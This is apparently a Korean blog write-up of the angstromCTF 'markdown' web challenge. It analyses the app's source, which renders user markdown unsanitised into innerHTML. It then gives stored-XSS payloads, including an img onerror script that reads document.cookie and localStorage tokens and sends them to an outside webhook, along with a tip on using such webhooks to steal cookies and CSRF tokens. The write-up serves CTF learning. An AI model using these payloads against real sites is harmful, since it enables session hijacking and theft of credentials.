Hacking/CTF

mark down (angstrom CTF)

SurTesterS 2024. 6. 6. 00:09

1. 소스 분석

index.js

const crypto = require('crypto')

const express = require('express')
const app = express()

const posts = new Map()
//posts Map 객체 선언! (id, data) 같은

app.use(express.urlencoded({ extended: false }))

app.get('/', (_req, res) => {
    const placeholder = [
        '# Note title',
        'Content of the note. You can use *italics*!',
// *italics* => 마크다운 사용가능
    ].join('\n')

    res.type('text/html').end(`
        <link rel="stylesheet" href="/style.css">
        <div class="content">
            <h1>Pastebin</h1>
            <form action="/create" method="POST">
                <textarea name="content">${placeholder}</textarea>
                <button type="submit">Create</button>
            </form>
        </div>
    `)
})

app.get('/flag', (req, res) => {
    const cookie = req.headers.cookie ?? ''
    res.type('text/plain').end(
        cookie.includes(process.env.TOKEN)
        ? process.env.FLAG
        : 'no flag for you'
    )
})
// flag 호출 시 TOKEN 이 cookie 에 있으면, flag 출력

app.get('/view/:id', (_req, res) => {
    const marked = (
        'https://cdnjs.cloudflare.com/ajax/libs/marked/4.2.2/marked.min.js'
    )
    //markdown 사용  js 호출

    res.type('text/html').end(`
        <link rel="stylesheet" href="/style.css">
        <div class="content">
        </div>
        <script src="${marked}"></script>
        // 여기서 호출
        <script>
            const content = document.querySelector('.content')
            const id = document.location.pathname.split('/').pop()

            delete (async () => {
                const response = await fetch(\`/content/\${id}\`)
                const text = await response.text()
                content.innerHTML = marked.parse(text)
            })()     
            // markdown 형식의 content html 로 content 에 저장
        </script>
    `)
})

app.post('/create', (req, res) => {
    const data = req.body.content ?? ''
    const id = crypto.randomBytes(8).toString('hex')
    posts.set(id, data)
    res.redirect(`/view/${id}`)
})

app.get('/content/:id', (req, res) => {
    const id = req.params.id
    const data = posts.get(id) ?? ''
    res.type('text/plain').end(data)
})

app.get('/style.css', (_req, res) => {
    res.type('text/css').end(`
        * {
          font-family: system-ui, -apple-system, BlinkMacSystemFont,
            'Segoe UI', Roboto, 'Helvetica Neue', sans-serif;
          box-sizing: border-box;
        }

        html,
        body {
          margin: 0;
        }

        .content {
          padding: 2rem;
          width: 90%;
          max-width: 900px;
          margin: auto;
        }

        input:not([type='submit']) {
          width: 100%;
          padding: 8px;
          margin: 8px 0;
        }

        textarea {
          width: 100%;
          padding: 8px;
          margin: 8px 0;
          resize: vertical;
          font-family: monospace;
        }

        input[type='submit'] {
          margin-bottom: 16px;
        }


    `)
})

app.listen(3000)

 

2. 페이지 확인

소스상의 / 호출 시 나오는 화면

=> Create 시

/view/{id} 페이지 호출 화면 마크다운에 대해 html 응답 됨
xss 구문도 성공 됨

 

두번째 페이지

첫번째 페이지/flag 호출
visit success

3. 해결 방법 고민

(이건 어차피 내가 두번째 페이지를 직접 호출하는 거랑 똑같은 행동이었네 ㅋㅋㅋ)
첫번째 페이지에서 xss 구문을 만들어서 두번째 페이지를 호출하게 만들고 그에 대한 응답 값을 받으면 

async 와 fetch 를 이용해서, 비동기로 두번째 페이지에 호출한 응답 값을 직접 받을 수 있다.

<img src=x onerror="(async () => {
    const response = await fetch('https://admin-bot.actf.co/markdown', {
        method: 'POST',
        headers: {
            'Content-Type': 'application/x-www-form-urlencoded',
            'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36',
            'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
            'Accept-Encoding': 'gzip, deflate, br',
            'Accept-Language': 'ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7',
            'Priority': 'u=0, i'
        },
        body: 'url=https%3A%2F%2Fmarkdown.web.actf.co%2Fflag&g-recaptcha-response=03AFcWeA7JDtcOGg3L7uyXorgSk1tGjG03R0Xtn_umikv2w6RVOK2hiLWVDKzkSqAfpJTgBuxesRD_ydydYt_hKoWc0tKA_2swKqpt8XSvvsnNWskrL1_-hjSG_DFd06Bkb4-0vka0yyV3yTtGdMZXGSrv4Q48yn1Fmaw_H6epx9vbEIXU_v5gabX7o1y0MZx9CIY8Rt75fB3a0cyKN89RSxf5i6uNTAh4zm7eI6Is0NEvYmxLD1_kqzjYz6ahsRtY0mlC77hYHsnEPwZLYCEJegUVLFY6RDL3CXglhSle4AZaVmvKXCRL_kdE6IXJtgE40J_PVJgIMh28PBAlOUwrG-hbjVqwbZIvhtkGUBxGQ1eb9un0CaZM7MleTYgFOsNhzZy56rvDXo9Zjzy0oM3QAnRakr7S0kdErEbeqIlnyw6Jrp3OeoVIN2a5EKHn-F4K3WNI4XLqLot5qGJwGQZMyzqcbrxy_CQ0CAa2XKB7t8VIRNu0USBi4eto5vpPDZMMPuQ8FA67kIe0AoiHDCTfBKb4xhPTCMLOpuGA6FQEG26VTcmedRkMm-ukwbDglCp0Tlnl17vKM0wzCxt1TfupP7XuToaaNziRfR2WCBcceQkumhlRQPnNkzAjOOOcUqq0kcVtvD1cpMbIA3S7fEANw6dVDqKhMXrqVm6Xule4LtP_phYs-JwAoCw'
    });
    const text = await response.text();
    document.body.innerHTML = text;
})()">

리캡처 획득하고,

admin 페이지에서 첫번재 페이지 /flag 호출 시 방문 성공 하는 것으로 보아, token 값으로 호출 할 껏으로 가정

admin 페이지의 cookie 값 획득을 위해,
 첫번째 페이지에서 XSS 구문 활용 +
 web hook 시스템 활용 (pipedream) 

 ==> 이 pipedream 이 csrf 공격의 token, 이나 cookie 값 획득 혹은 ssrf 공격시의 내부 서버 정보 획득에 활용하기
굉장히 좋아 보이던데,

webhook 트리커 만들면  url 을 얻을 수 있고, 해당 url 을 get, post 문으로 파라미터 및 헤더 값 커스터마이징 해서 보내면

로그에 request문에 해당 정보들 다 포함되서  통신 시도 하고, 통신 이력들 확인 가능하다.

 

그럼 이제 해당  url 정보를 가지고 첫번째 페이지에서 /create 에 text 입력 시 contetn/{id} 로 호출 하는 것을 확인 했어서,

아래 문구를 /create 입력 하고

<img src="x" onerror="const headers = new Headers(); headers.append('Content-Type', 'application/json'); headers.append('Sec-Fetch-Site', 'same-origin'); headers.append('Sec-Fetch-Mode', 'cors'); headers.append('Sec-Fetch-Dest', 'empty'); const body={'authToken': localStorage.getItem('authToken'), 'Token': localStorage.getItem('token'), 'cookie': document.cookie, 'TOKEN':  localStorage.getItem('TOKEN')};const options = { method: 'POST', headers, body: JSON.stringify(body), mode: 'cors'}; fetch('https://eoxxxxxxxxx.m.pipedream.net', options);">

 

 

admin 페이지 캡챠 후, https://markdown.web.actf.co/content{id}

입력 시 token 값 얻을 수 있을 꺼라고 생각 했으나, webhook 에 해당 통신 오지 않음!!

 

아 !

/view/{id} 호출 시 /create에 입력한 markdown 텍스트 값을 Html 형식으로 실행 함

view url 로 admin 페이지에 파라미터 입력 시 아래와 값이 webhook 에 admin 서버 ip정보로 token 정보 얻을 수 있고,

cookie 에 포함하여 호출 시 flag 획득